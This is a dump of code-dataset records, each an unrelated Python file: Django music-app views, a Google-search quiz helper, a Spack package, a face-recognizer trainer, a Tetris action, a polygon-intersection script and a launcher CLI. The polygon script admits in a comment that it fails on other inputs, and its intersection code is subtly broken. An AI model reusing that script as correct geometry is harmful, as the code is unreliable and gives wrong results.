PageNotAnInteger\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Avg\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nimport requests\nimport json\nfrom lxml import html\nfrom datetime import datetime\n\nfrom musicapp.forms import CommentForm, RatingForm, PlaylistForm\nfrom musicapp.forms import UserForm, UserEditForm\nfrom musicapp.helpers import *\nfrom .models import *\n\n\ndef index(request):\n context_dict = dict()\n context_dict['page_title'] = 'Music App Homepage'\n\n # Scrape Songkick.com for events in glasgow\n page = requests.get('http://www.songkick.com/metro_areas/24473-uk-glasgow')\n tree = html.fromstring(page.content.decode('UTF-8'))\n u_events = tree.findall('.//li[@title]')[:20]\n context_dict['events'] = []\n\n # Add each event to a dictionary\n for event in u_events:\n event_data = event.find('.//script[@type=\"application/ld+json\"]')\n event_data = json.loads(event_data.text)[0]\n\n # get correct date format\n date = datetime.strptime(event_data['startDate'][:10], '%Y-%m-%d').date()\n link = event_data['url']\n artist = event_data['name']\n venue = event_data['location']['name']\n\n # put events in a dict\n result = {'date': date,\n 'link': link,\n 'artist': artist,\n 'venue': venue}\n context_dict['events'].append(result)\n\n\n # Get the songs ordred regarding the rate\n topSongs_list = []\n for rate in Rating.objects.order_by('RatingValue').filter(Rating_page='song')[:8]:\n topSongs_list.extend(Song.objects.filter(SongSlug=rate.Song))\n\n # Get the albums ordred regarding the rate\n topAlbums_list = []\n for rate in Rating.objects.order_by('RatingValue').filter(Rating_page='album')[:8]:\n topAlbums_list.extend(Album.objects.filter(AlbumSlug=rate.Album))\n\n # Get the artists ordred regarding the rate\n topArtists_list = []\n for rate in Rating.objects.order_by('RatingValue').filter(Rating_page='artist')[:8]:\n topArtists_list.extend(Artist.objects.filter(ArtistSlug=rate.Artist))\n\n\n context_dict['top_songs'] = topSongs_list[:5]\n # context_dict['new_songs'] = newSongs_list\n context_dict['top_albums'] = topAlbums_list[:6]\n # context_dict['new_albums'] = newAlbums_list\n context_dict['top_artists'] = topArtists_list[:5]\n # context_dict['top_artists'] = newArtistes_list\n\n return render(request, 'musicapp/index.html', context=context_dict)\n\n\ndef contact(request):\n context_dict = dict()\n context_dict['page_title'] = 'Contact Us'\n context_dict['contact_active'] = True\n return render(request, 'musicapp/contact.html', context=context_dict)\n\n\ndef about(request):\n context_dict = dict()\n context_dict['page_title'] = 'About Us'\n context_dict['about_active'] = True\n return render(request, 'musicapp/about.html', context=context_dict)\n\n\ndef register(request):\n context_dict = dict()\n context_dict['page_title'] = 'Register for Music App'\n context_dict['register_active'] = True\n\n if request.method == 'POST':\n user_form = UserForm(data=request.POST)\n context_dict['user_form'] = user_form\n if user_form.is_valid():\n user = user_form.save()\n user.set_password(user.password)\n user.save()\n auth_login(request, user)\n return HttpResponseRedirect(reverse('home'))\n else:\n user_form = UserForm()\n return render(request, 'musicapp/register.html', context=context_dict)\n\n\ndef login(request):\n context_dict = dict()\n context_dict['page_title'] = 'Login to Music App'\n context_dict['login_active'] = True\n\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(username=username, password=password)\n if user:\n if user.is_active:\n auth_login(request, user)\n return HttpResponseRedirect(reverse('home'))\n else:\n context_dict['error_msg'] = \"Your account is disabled.\"\n return render(request, 'musicapp/login.html', context=context_dict)\n else:\n context_dict['error_msg'] = \"Username and password does not match \"\n return render(request, 'musicapp/login.html', context=context_dict)\n\n\n@login_required\ndef user_logout(request):\n logout(request)\n return HttpResponseRedirect(reverse('home'))\n\n\n@login_required\ndef profile(request):\n context_dict = dict()\n context_dict['page_title'] = 'My Profile'\n context_dict['user'] = request.user\n context_dict['playlists'] = PlayList.objects.filter(UserID=request.user)\n context_dict['playlist_songs'] = Song.objects.filter(playlist__in=context_dict['playlists']).distinct()\n\n if request.method == 'POST':\n user_edit_form = UserEditForm(user=request.user, data=request.POST)\n add_playlist_form = PlaylistForm(data=request.POST)\n\n context_dict['user_edit_form'] = user_edit_form\n context_dict['add_playlist_form'] = add_playlist_form\n\n if user_edit_form.is_valid():\n if user_edit_form.cleaned_data.get('password') != '':\n u = User.objects.get(username__exact=request.user.username)\n u.set_password(user_edit_form.cleaned_data.get('password'))\n u.save()\n context_dict['notification_success'] = True\n context_dict['notification_message'] = 'Password Successfully Changed'\n if request.FILES.get('profile_picture'):\n profile_picture = request.FILES.get('profile_picture')\n fs = FileSystemStorage()\n filename = profile_picture.name\n filename = fs.save(filename, profile_picture)\n uploaded_file_url = fs.url(filename)\n try:\n u = UserProfile.objects.get(user_id=request.user.id)\n u.profile_picture = uploaded_file_url\n u.save()\n except UserProfile.DoesNotExist:\n u = UserProfile(user_id=request.user.id, profile_picture=uploaded_file_url)\n u.save()\n context_dict['notification_success'] = True\n context_dict['notification_message'] = 'Profile Picture Updated'\n if user_edit_form.cleaned_data.get('password') == '' and request.FILES.get('profile_picture') is None:\n context_dict['notification_warning'] = True\n context_dict['notification_message'] = 'No change made to your profile'\n elif add_playlist_form.is_valid():\n p = PlayList()\n p.UserID = request.user\n p.Name = add_playlist_form.cleaned_data.get('playlist_name')\n p.save()\n context_dict['notification_success'] = True\n context_dict['notification_message'] = 'New playlist added'\n else:\n user_edit_form = UserEditForm(user=request.user)\n add_playlist_form = PlaylistForm()\n return render(request, 'musicapp/profile.html', context=context_dict)\n\n\ndef playlist(request, playlist_name):\n context_dict = dict()\n context_dict['playlists'] = PlayList.objects.filter(UserID=request.user)\n context_dict['playlist'] = PlayList.objects.get(PlayListSlug=playlist_name, UserID=request.user)\n context_dict['page_title'] = context_dict['playlist'].Name\n context_dict['playlist_songs'] = Song.objects.filter(playlist=context_dict['playlist']).distinct()\n return render(request, 'musicapp/playlist.html', context=context_dict)\n\n'''\nSearch view: is called when user click Search button in navigation bar\n1st: Check if there is data in session\n2nd: If there is no data in session (call search function for the first time), it will call to run_query method\n3rd: Do paging function based on returned result\n\n'''\ndef search(request):\n context_dict = dict()\n context_dict['page_title'] = 'Search for Songs, Albums, Artists'\n context_dict['search_active'] = True\n\n page = request.GET.get('page')\n # Clear all previous data for the first running\n if page is None:\n if 'keyword' in request.session:\n del request.session['keyword']\n if 'returned_list' in request.session:\n del request.session['returned_list']\n\n keyword = request.GET.get('searchValue')\n if keyword is None and page is not None:\n keyword = request.session.get('keyword')\n if keyword is not None:\n if 'returned_list' in request.session:\n returned_list = request.session.get('returned_list')\n else:\n next_link = ''\n if 'next_link' in request.session:\n next_link = request.session.get('next_link')\n returned_list = run_query(keyword, next_link)\n request.session['returned_list'] = returned_list\n\n paginator = Paginator(returned_list['returned_result'], 24)\n # show the search value when user submits the form\n context_dict[\"keyword\"] = keyword\n request.session['keyword'] = keyword\n try:\n context_dict[\"returned_list\"] = paginator.page(page)\n except PageNotAnInteger:\n context_dict[\"returned_list\"] = paginator.page(1)\n except EmptyPage:\n context_dict[\"returned_list\"] = paginator.page(paginator.num_pages)\n\n return render(request, 'musicapp/search.html', context=context_dict)\n\n\ndef song(request, artist_name, album_name, song_name):\n context_dict = dict()\n context_dict['page_title'] = song_name + ' by: ' + artist_name + ' on: ' + album_name\n context_dict['song_active'] = True\n context_dict['comment_form'] = CommentForm({'author': request.user.username,\n 'artist': artist_name,\n 'album': album_name,\n 'song': song_name,\n 'comment_page': 'song'})\n\n context_dict['rating_form'] = RatingForm({'author': request.user.username,\n 'artist': artist_name,\n 'album': album_name,\n 'song': song_name,\n 'rating_page': 'song'})\n\n context_dict['detail'] = detail_song(song_name, album_name, artist_name)\n\n try:\n rates = Rating.objects.filter(Artist=artist_name,\n Album=album_name,\n Song=song_name).order_by('id')\n avg_rates = rates.aggregate(Avg('RatingValue'))\n\n if avg_rates['RatingValue__avg'] is not None:\n context_dict['avg_int'] = int(avg_rates['RatingValue__avg'])\n\n comments = Comment.objects.filter(Artist=artist_name,\n Album=album_name,\n Song=song_name).order_by('-id')[:10]\n comment_list = []\n for com in comments:\n comment_list.append(com)\n\n context_dict['comment_list'] = comment_list\n\n except Exception as e:\n pass\n\n artist = Artist.objects.get(ArtistSlug=artist_name)\n album = Album.objects.get(AlbumSlug=album_name, Artist=artist)\n context_dict['song'] = Song.objects.get(SongSlug=song_name, Artist=artist, Album=album)\n\n return render(request, 'musicapp/song.html', context=context_dict)\n\n\ndef artist(request, artist_name):\n context_dict = dict()\n context_dict['artist_active'] = True\n context_dict['comment_form'] = CommentForm({'author': request.user.username,\n 'artist': artist_name,\n 'comment_page': 'artist'})\n\n context_dict['rating_form'] = RatingForm({'author': request.user.username,\n 'artist': artist_name,\n 'rating_page': 'artist'})\n\n context_dict['detail'] = detail_artist(artist_name)\n context_dict['returned_list'] = run_query_artist(artist_name)\n\n try:\n rates = Rating.objects.filter(Artist=artist_name,\n Album='',\n Song='').order_by('id')\n avg_rates = rates.aggregate(Avg('RatingValue'))\n\n if avg_rates['RatingValue__avg'] is not None:\n context_dict['avg_int'] = int(avg_rates['RatingValue__avg'])\n\n comments = Comment.objects.filter(Artist=artist_name,\n Album='',\n Song='').order_by('-id')[:10]\n comment_list = []\n for com in comments:\n comment_list.append(com)\n\n context_dict['comment_list'] = comment_list\n except Exception as e:\n pass\n\n context_dict['artist'] = Artist.objects.get(ArtistSlug=artist_name)\n context_dict['page_title'] = context_dict['artist'].Name\n return render(request, 'musicapp/artist.html', context=context_dict)\n\n\ndef album(request, artist_name, album_name):\n context_dict = dict()\n context_dict['album_active'] = True\n context_dict['comment_form'] = CommentForm({'author': request.user.username,\n 'artist': artist_name,\n 'album': album_name,\n 'comment_page': 'album'})\n\n context_dict['rating_form'] = RatingForm({'author': request.user.username,\n 'artist': artist_name,\n 'album': album_name,\n 'rating_page': 'album'})\n try:\n rates = Rating.objects.filter(Artist=artist_name,\n Album=album_name,\n Song='').order_by('id')\n avg_rates = rates.aggregate(Avg('RatingValue'))\n\n if avg_rates['RatingValue__avg'] is not None:\n context_dict['avg_int'] = int(avg_rates['RatingValue__avg'])\n\n comments = Comment.objects.filter(Artist=artist_name, Album=album_name, Song='').order_by('-id')[:10]\n comment_list = []\n for com in comments:\n comment_list.append(com)\n context_dict['comment_list'] = comment_list\n\n except Exception as e:\n pass\n\n context_dict['album'] = Album.objects.get(AlbumSlug=album_name, Artist__ArtistSlug=artist_name)\n run_album_query(context_dict['album'].AlbumDeezerID, context_dict['album'].Artist.ArtistDeezerID)\n context_dict['songs'] = Song.objects.filter(Album=context_dict['album'])\n context_dict['page_title'] = context_dict['album'].Title + ' by: ' + context_dict['album'].Artist.Name\n\n if request.user.is_authenticated and not request.user.is_anonymous():\n context_dict['playlists'] = PlayList.objects.filter(UserID=request.user)\n\n return render(request, 'musicapp/album.html', context=context_dict)\n\n\ndef comment_post(request):\n if request.method == 'POST':\n comment_form = CommentForm(data=request.POST)\n if comment_form.is_valid():\n com = Comment.objects.create(Username=comment_form.cleaned_data[\"author\"],\n Content=comment_form.cleaned_data[\"comment\"],\n Artist=comment_form.cleaned_data[\"artist\"],\n Album=comment_form.cleaned_data[\"album\"],\n Song=comment_form.cleaned_data[\"song\"],\n Comment_page=comment_form.cleaned_data[\"comment_page\"])\n com.save()\n\n else:\n return HttpResponse(\"Submit failed\")\n if com.Comment_page == 'artist':\n return HttpResponseRedirect('/view' + '/' + com.Comment_page + '/' + com.Artist + '/' + com.Album)\n else:\n return HttpResponseRedirect(\n '/view' + '/' + com.Comment_page + '/' + com.Artist + '/' + com.Album + '/' + com.Song)\n\n\ndef rating_post(request):\n if request.method == 'POST':\n rating_form = RatingForm(data=request.POST)\n if rating_form.is_valid():\n rate = Rating.objects.create(Username=rating_form.cleaned_data[\"author\"],\n Artist=rating_form.cleaned_data[\"artist\"],\n Album=rating_form.cleaned_data[\"album\"],\n Song=rating_form.cleaned_data[\"song\"],\n RatingValue=rating_form.cleaned_data[\"value\"],\n Rating_page=rating_form.cleaned_data[\"rating_page\"])\n rate.save()\n\n else:\n return HttpResponse(\"Rating failed\")\n\n if rate.Rating_page == 'artist':\n return HttpResponseRedirect('/view' + '/' + rate.Rating_page + '/' + rate.Artist + '/' + rate.Album)\n else:\n return HttpResponseRedirect(\n '/view' + '/' + rate.Rating_page + '/' + rate.Artist + '/' + rate.Album + '/' + rate.Song)\n\n\ndef next_song(request):\n if request.method == 'GET':\n\n # Get the parameter given with the request\n src = request.GET['currentSrc']\n page = request.GET['currentPage']\n\n # Get the song from the database\n song = Song.objects.get(PreviewURL=src)\n\n # if(page == \"album\" or page == \"song\"):\n songList = Song.objects.filter(Album=song.Album)\n\n for i in range(len(songList)):\n if songList[i] == song and i != len(songList) - 1:\n nextSong = songList[i + 1]\n elif songList[i] == song and i == len(songList) - 1:\n nextSong = songList[0]\n\n return HttpResponse(nextSong.PreviewURL + ' ' + nextSong.SongSlug + ' ' +\n nextSong.Album.AlbumSlug + ' ' + nextSong.Artist.ArtistSlug)\n","sub_path":"musicapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"448864930","text":"import requests\nimport tkinter as tk\nfrom googlesearch import search\nimport urllib.request as req\n\nimport numpy as np\nfrom bs4 import BeautifulSoup\n\n\nclass Application(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n self.pack()\n self.create_widgets()\n\n def create_widgets(self):\n question = input(\"Enter your question: \")\n option1 = input(\"Enter option 1: \")\n option2 = input(\"Enter option 2: \")\n option3 = input(\"Enter option 3: \")\n options = [option1, option2, option3]\n self.hi_there = tk.Button(self)\n self.hi_there[\"text\"] = \"Hello World\\n(click me)\"\n self.hi_there[\"command\"] = self.search_query(question, options)\n self.hi_there.pack(side=\"top\")\n self.quit = tk.Button(self, text=\"QUIT\", fg=\"red\",\n command=self.master.destroy)\n self.quit.pack(side=\"bottom\")\n def search_query(self,question, options):\n for link in search(question, tld=\"co.in\", num=10, stop=1, pause=2):\n response = req.urlopen(link)\n html = response.read()\n answers = []\n for n in options:\n occur = (str(html).count(n))\n answers.append([n, occur])\n print(answers)\n return answers\nroot = tk.Tk()\napp = Application(master=root)\napp.mainloop()\n\n # print(html)\n # soup = BeautifulSoup(html, features='html.parser')\n # page = soup.find('p').getText()\n # html = requests.get(link).text\n\n# to search\n","sub_path":"chaseplayer.py","file_name":"chaseplayer.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"519178917","text":"# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\nfrom spack.package import *\n\n\nclass Montage(MakefilePackage):\n \"\"\"Montage is a toolkit for assembling Flexible Image Transport System\n (FITS) images into custom mosaics.\"\"\"\n\n homepage = \"http://montage.ipac.caltech.edu/\"\n url = \"http://montage.ipac.caltech.edu/download/Montage_v6.0.tar.gz\"\n\n version(\"6.0\", sha256=\"1f540a7389d30fcf9f8cd9897617cc68b19350fbcde97c4d1cdc5634de1992c6\")\n\n depends_on(\"freetype\")\n depends_on(\"bzip2\")\n depends_on(\"libpng\")\n\n def install(self, spec, prefix):\n # not using autotools, just builds bin and lib in the source directory\n mkdirp(prefix.bin, prefix.lib)\n\n install_tree(\"bin\", prefix.bin)\n install_tree(\"lib\", prefix.lib)\n","sub_path":"var/spack/repos/builtin/packages/montage/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"136018982","text":"import cv2, os\nimport numpy as np\nimport pickle\nimport dill\nfrom PIL import Image\n\n#Things that make things work\narguments = ['haarcascade_frontalface_default.xml']\npeopleIDs = []\nidElement = 0\n\n# Get user supplied values\ncascPath = arguments[0]\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n#Creates the face recogniser\nrecognizer = cv2.face.createLBPHFaceRecognizer()\npeopleIDs = []\nidElement = 0\n\n\n#Teaches the recognizer based on images in the database\nimages = []\nlabels = []\nfor folder in os.walk('Database'):\n currentPerson = folder[0].split(\"\\\\\")[-1]\n if (currentPerson!='Database'):#Nobody in the school can be named database now or else\n peopleIDs.append(idElement)#Also hopefully nobody's name is a number\n peopleIDs.append(currentPerson)\n for file in folder[2]:\n #Check and see if a face is detected in the image\n #First convert the image to grayscale\n image_pil = Image.open('Database\\\\'+currentPerson+'\\\\'+file).convert('L')\n image = np.array(image_pil, 'uint8')\n #Detect it\n faces = faceCascade.detectMultiScale(image)\n for (x, y, w, h) in faces:\n images.append(image[y: y + h, x: x + w])\n labels.append(idElement)\n idElement+=1\n print('Gathered files on '+currentPerson)\n\n#Trains the recognizer\nrecognizer.train(images,np.array(labels))\n\nfor attribute in dir(recognizer):\n print(attribute)\n print(getattr(recognizer, attribute))\n\n#Saves recognizer and ids to pickles\ndill.dump(recognizer, open('recognizer.p','w'))\n\n\n\n#with open('recognizer.p', 'w') as handle:\n# dill.dump(recognizer, handle)\n\nwith open('peopleids.p', 'wb') as handle:\n pickle.dump(peopleIDs, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\nprint(\"Updated, good looking!\")","sub_path":"Tests/WIP/UpdateDatabase.py","file_name":"UpdateDatabase.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"503616979","text":"import pytest\nfrom flask import Flask\nfrom flask import render_template_string\n\nfrom flask_comment import Comment\n\n\n@pytest.fixture(autouse=True)\ndef app():\n app = Flask(__name__)\n app.testing = True\n\n @app.route('/')\n def index():\n return render_template_string('{{ comment.load() }}')\n\n return app\n\n\n@pytest.fixture(autouse=True)\ndef comment(app):\n return Comment(app)\n\n\n@pytest.fixture\ndef client(app):\n context = app.test_request_context()\n context.push()\n\n with app.test_client() as client:\n yield client\n\n context.pop()\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"536259011","text":"from libs.problema_espacio_estados import Acción\nimport copy\nfrom pieza.modelo import Pieza\nclass Desplazar(Acción):\n\n def __init__(self, direccion, pieza):\n #super().__init__()\n self.direccion = direccion\n self.pieza = pieza\n self.estado = self.pieza.tablero\n\n\n\n\n def es_aplicable(self, estado):\n if self.direccion == \"Derecha\":\n return not self.pieza.is_colision_derecha(self)\n\n elif self.direccion == \"Izquierda\":\n return not self.pieza.is_colision_izquierda(self)\n\n elif self.direccion == \"Abajo\":\n return not self.pieza.is_colision_debajo(self)\n\n return False\n\n def aplicar(self, estado):\n nuevo_estado = copy.deepcopy(estado)\n tp = self.pieza.tracking_point\n nuevo_estado[tp.fila - 1][tp.columna] = 0\n nuevo_estado[tp.fila - 1][tp.columna + 2] = 1\n nuevo_estado[tp.fila - 2][tp.columna + 1] = 0\n nuevo_estado[tp.fila - 2][tp.columna + 3] = 1\n return nuevo_estado\n","sub_path":"tetris/pieza/acciones/desplazar.py","file_name":"desplazar.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"276113262","text":"from TestPoint import Point\nimport matplotlib.pyplot as plt\n\n\ndef detFour(a, b, c, d):\n return a * d - b * c\n\n\ndef is_intersect(p1, p2, p3, p4):\n det1 = detFour((p2.x - p1.x), (p2.y - p1.y), (p3.x - p1.x), (p3.y - p1.y))\n det2 = detFour((p2.x - p1.x), (p2.y - p1.y), (p4.x - p1.x), (p4.y - p1.y))\n det3 = detFour((p4.x - p3.x), (p4.y - p3.y), (p1.x - p3.x), (p1.y - p3.y))\n det4 = detFour((p4.x - p3.x), (p4.y - p3.y), (p2.x - p3.x), (p2.y - p3.y))\n if det1 * det2 <= 0 and det3 * det4 <= 0:\n return True\n else:\n return False\n\n\ndef define_orientation(p1, p2, p0):\n D = detFour((p2.x - p1.x), (p2.y - p1.y), (p0.x - p1.x), (p0.y - p1.y))\n if D > 0:\n return \"left\"\n elif D < 0:\n return \"right\"\n else:\n return \"on\"\n\n\n\ndef det(i, j):\n return i[0] * j[1] - i[1] * j[0]\n\n\ndef find_intersection_point(a, b, c, d):\n dx = (a.x - b.x, c.x - d.x)\n dy = (a.y - b.y, c.y - d.y)\n\n d = (det(a, b), det(c, d))\n x = det(d, dx) / det(dx, dy)\n y = det(d, dy) / det(dx, dy)\n return Point(x, y)\n\n\ndef scalar_mult(v1, v2):\n return v1.x * v2.x + v1.y * v2.y\n\ndef det(i, j):\n return i[0] * j[1] - i[1] * j[0]\n\ndef is_aimed(a_start, a_end, b_start, b_end):\n if det(b_start - b_end, b_start - a_end) > 0 and det(b_start - b_end, a_start - a_end) < 0:\n return True\n if det(b_start - b_end, b_start - a_end) < 0 and det(b_start - b_end, a_start - a_end) > 0:\n return True\n return scalar_mult(a_end - a_start, a_end - b_end) < 0\n\n\ndef is_point_outer(a_start, a_end, b_end):\n return define_orientation(a_start, a_end, b_end) == 'right'\n\n\ndef get_lines(points_p, points_q):\n for i, point_q in enumerate(points_q):\n if is_point_outer(points_p[0], points_p[1], point_q) or \\\n is_point_outer(point_q, points_q[(i + 1) % len(points_q)], points_p[1]):\n return 0, i\n\n\ndef polygon_intersection(polygon1, polygon2):\n p_index, q_index = get_lines(polygon1, polygon2)\n res = []\n while True:\n pq = is_aimed(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)], polygon2[q_index],\n polygon2[(q_index + 1) % len(polygon2)])\n qp = is_aimed(polygon2[q_index], polygon2[(q_index + 1) % len(polygon2)], polygon1[p_index],\n polygon1[(p_index + 1) % len(polygon1)])\n # p is aimed on q and q is aimed on p\n if pq and qp:\n if is_point_outer(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)],\n polygon2[(q_index + 1) % len(polygon2)]):\n q_index += 1 if q_index + 1 < len(polygon2) else -len(polygon2) + 1\n else:\n p_index += 1 if p_index + 1 < len(polygon1) else -len(polygon1) + 1\n # p is aimed on q not q is not aimed p\n elif pq and not qp:\n if not is_point_outer(polygon2[q_index], polygon2[(q_index + 1) % len(polygon2)],\n polygon1[(p_index + 1) % len(polygon1)]):\n res.append(polygon1[(p_index + 1) % len(polygon1)])\n p_index += 1 if p_index + 1 < len(polygon1) else -len(polygon1) + 1\n # p is not aimed q not q is aimed on p\n elif not pq and qp:\n if not is_point_outer(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)],\n polygon2[(q_index + 1) % len(polygon2)]):\n res.append(polygon2[(q_index + 1) % len(polygon2)])\n q_index += 1 if q_index + 1 < len(polygon2) else -len(polygon2) + 1\n # p is not aimed on q not q is not aimed on p\n else:\n if is_intersect(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)],\n polygon2[q_index], polygon2[(q_index + 1) % len(polygon2)]):\n res.append(find_intersection_point(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)],\n polygon2[q_index], polygon2[(q_index + 1) % len(polygon2)]))\n if define_orientation(polygon1[p_index], polygon1[(p_index + 1) % len(polygon1)],\n polygon2[(q_index + 1) % len(polygon2)]) == 'right':\n q_index += 1 if q_index + 1 < len(polygon2) else -len(polygon2) + 1\n else:\n p_index += 1 if p_index + 1 < len(polygon1) else -len(polygon1) + 1\n if len(res) > 1:\n if res[0] == res[-1]:\n res.pop()\n break\n return res\n\n\ndef draw_figure(points:[Point], color):\n for ind, point in enumerate(points):\n plt.plot([point.x, points[(ind + 1)%len(points)].x], [point.y, points[(ind + 1)%len(points)].y], color)\n\nif __name__ == \"__main__\":\n polygon1 = [Point(9, 7), Point(-6, 5), Point(-10, 2), Point(-9, -5), Point(3, -10), Point(6, -10), Point(8, -5), Point(10, 6)]\n polygon2 = [Point(1, 10), Point(-7, 9), Point(-8, 4), Point(-7, -2), Point(-6, -5), Point(1, -2), Point(3, 5.5)]\n #на самом деле, с другим набором точек работать не будет ¯\\_(ツ)_/¯ Тут код писал не я, но сдал успешно. В целом алгоритм правильный, дебажить было лень\n draw_figure(polygon1, 'black')\n draw_figure(polygon2, 'black')\n polygon_intersection = polygon_intersection(polygon1, polygon2)\n print(polygon_intersection)\n draw_figure(polygon_intersection, 'green')\n plt.show()","sub_path":"Lab8/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"5336353","text":"from __future__ import print_function\n\nimport argparse\nimport json\nimport sys\nimport os\nimport logging\nimport requests\nfrom datetime import datetime\n\ndef getjson(config):\n if config is None:\n return None\n if not config.startswith('@'):\n return json.loads(config)\n with open(config[1:]) as data:\n return json.load(data)\n\ndef find_files_parameters(config, files):\n for k in config:\n v = config[k]\n if isinstance(v, unicode) and v.startswith('/') and os.path.exists(v):\n basename = os.path.basename(v)\n files[basename] = (basename, open(v, 'rb'))\n config[k] = \"${TMP_DIR}/%s\" % basename\n logger.debug('found local file: %s -> ${TMP_DIR}/%s', v, basename)\n elif isinstance(v, dict):\n find_files_parameters(v, files)\n\ndef confirm(prompt=None, resp=False):\n \"\"\"prompts for yes or no response from the user. Returns True for yes and\n False for no.\n \"\"\"\n\n if prompt is None:\n prompt = 'Confirm'\n\n if resp:\n prompt = '%s [%s]|%s: ' % (prompt, 'y', 'n')\n else:\n prompt = '%s [%s]|%s: ' % (prompt, 'n', 'y')\n\n while True:\n ans = raw_input(prompt)\n if not ans:\n return resp\n if ans not in ['y', 'Y', 'n', 'N']:\n print('please enter y or n.')\n continue\n if ans == 'y' or ans == 'Y':\n return True\n if ans == 'n' or ans == 'N':\n return False\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--url',\n help=\"url to the launcher\")\nparser.add_argument('-l', '--log-level', default='INFO',\n help=\"log-level (INFO|WARN|DEBUG|FATAL|ERROR)\")\nparser.add_argument('-j', '--json', action='store_true',\n help=\"display output in json format from rest server (default text)\")\nsubparsers = parser.add_subparsers(help='command help', dest='cmd')\nparser_list_services = subparsers.add_parser('ls',\n help='list available services')\nparser_describe = subparsers.add_parser('describe',\n help='list available options for the service')\nparser_describe.add_argument('-s', '--service', help=\"service name\")\nparser_check = subparsers.add_parser('check',\n help='check that service associated to provided options is operational')\nparser_check.add_argument('-s', '--service', help=\"service name\")\nparser_check.add_argument('-o', '--options', default='{}',\n help=\"options selected to run the service\")\nparser_launch = subparsers.add_parser('launch',\n help='launch a task on the service associated to provided options')\nparser_launch.add_argument('-s', '--service', help=\"service name\")\nparser_launch.add_argument('-o', '--options', default='{}',\n help=\"options selected to run the service\")\nparser_launch.add_argument('-w', '--wait_after_launch', default=2, type=int,\n help=('if not 0, wait for this number of seconds after launch '\n 'to check that launch is ok - by default wait for 2 seconds'))\nparser_launch.add_argument('-r', '--docker_registry', default='dockerhub',\n help='docker registry (as configured on server side) - default is `dockerhub`')\nparser_launch.add_argument('-i', '--docker_image', required=True,\n help='Docker image')\nparser_launch.add_argument('-t', '--docker_tag', default=\"latest\",\n help='Docker image tag (default is latest)')\nparser_launch.add_argument('-T', '--trainer_id', default=os.getenv('LAUNCHER_TID', None),\n help='trainer id, used as a prefix to generated models (default ENV[LAUNCHER_TID])')\nparser_launch.add_argument('docker_command', type=str, nargs='*',\n help='Docker command')\nparser_list_tasks = subparsers.add_parser('lt',\n help='list tasks matching prefix pattern')\nparser_list_tasks.add_argument('-p', '--prefix', default=os.getenv('LAUNCHER_TID', ''),\n help='prefix for the tasks to list (default ENV[LAUNCHER_TID])')\nparser_del_tasks = subparsers.add_parser('dt',\n help='delete tasks matching prefix pattern')\nparser_del_tasks.add_argument('-p', '--prefix', required=True,\n help='prefix for the tasks to delete')\nparser_status = subparsers.add_parser('status', help='get status of a task')\nparser_status.add_argument('-k', '--task_id',\n help=\"task identifier\", required=True)\nparser_terminate = subparsers.add_parser('terminate', help='terminate a task')\nparser_terminate.add_argument('-k', '--task_id',\n help=\"task identifier\", required=True)\nparser_file = subparsers.add_parser('file', help='get file associated to a task')\nparser_file.add_argument('-k', '--task_id',\n help=\"task identifier\", required=True)\nparser_file.add_argument('-f', '--filename',\n help=\"filename to retrieve - for instance log\", required=True)\n\nargs = parser.parse_args()\n\nlogging.basicConfig(stream=sys.stdout, level=args.log_level)\nlogger = logging.getLogger()\n\nif args.url is None:\n args.url = os.getenv('LAUNCHER_URL')\n if args.url is None:\n logger.error('missing launcher_url')\n sys.exit(1)\n\nr = requests.get(os.path.join(args.url, \"list_services\"))\nif r.status_code != 200:\n logger.error('incorrect result from \\'list_services\\' service: %s', r.text)\nserviceList = r.json()\n\nif args.cmd == \"ls\":\n result = serviceList\n if not args.json:\n print(\"%-20s\\t%s\" % (\"SERVICE NAME\", \"DESCRIPTION\"))\n for k in result:\n print(\"%-20s\\t%s\" % (k, result[k]))\n sys.exit(0)\nelif args.cmd == \"lt\":\n r = requests.get(os.path.join(args.url, \"list_tasks\", args.prefix + '*'))\n if r.status_code != 200:\n logger.error('incorrect result from \\'list_tasks\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n print(\"%-32s\\t%-20s\\t%-16s\\t%-10s\\t%s\" % (\"TASK_ID\", \"LAUNCH DATE\", \"IMAGE\", \"STATUS\", \"MESSAGE\"))\n for k in sorted(result, key=lambda k: int(k[\"queued_time\"])):\n date = datetime.fromtimestamp(int(k[\"queued_time\"])).isoformat(' ')\n print(\"%-32s\\t%-20s\\t%-16s\\t%-10s\\t%s\" % (\n k[\"task_id\"], date, k[\"image\"], k[\"status\"], k.get(\"message\")))\n sys.exit(0)\nelif args.cmd == \"describe\":\n if args.service not in serviceList:\n logger.fatal(\"ERROR: service '%s' not defined\", args.service)\n 